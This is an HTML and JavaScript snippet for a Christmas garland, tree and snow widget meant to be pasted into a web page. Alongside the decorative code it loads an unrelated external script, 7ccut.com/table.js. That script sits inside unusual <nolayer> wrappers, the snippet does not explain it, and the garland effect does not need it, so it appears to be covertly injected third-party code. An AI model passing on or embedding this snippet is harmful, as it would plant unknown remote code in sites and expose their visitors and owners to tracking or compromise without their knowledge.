<style type="text/css">
  #garland {position:absolute;top:0;left:0;background-image:url('http://pnghosts.ru/img/christmas.png');height:36px;width:100%;overflow:hidden;z-index:99}
  #nums_1 {padding:100px}
  .garland_1 {background-position: 0 0}
  .garland_2 {background-position: 0 -36px}
  .garland_3 {background-position: 0 -72px}
  .garland_4 {background-position: 0 -108px}
  </style>

  <div id="garland" class="garland_4"><div id="nums_1">1</div></div>

  <script type="text/javascript">
  function garland() {
  nums = document.getElementById('nums_1').innerHTML
  if(nums == 1) {document.getElementById('garland').className='garland_1';document.getElementById('nums_1').innerHTML='2'}
  if(nums == 2) {document.getElementById('garland').className='garland_2';document.getElementById('nums_1').innerHTML='3'}
  if(nums == 3) {document.getElementById('garland').className='garland_3';document.getElementById('nums_1').innerHTML='4'}
  if(nums == 4) {document.getElementById('garland').className='garland_4';document.getElementById('nums_1').innerHTML='1'}
  }

  setInterval(function(){garland()}, 600)
  </script>  
  <nolayer>
  <div style="position:absolute; top:0; left:0;">
  </nolayer>  
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img border="0" src="http://pnghosts.ru/img/elka.png" align="left" />
  <nolayer>
  </div>
  </nolayer>  
  <script type="text/javascript" src="http://pnghosts.ru/js_css/snow.js"></script>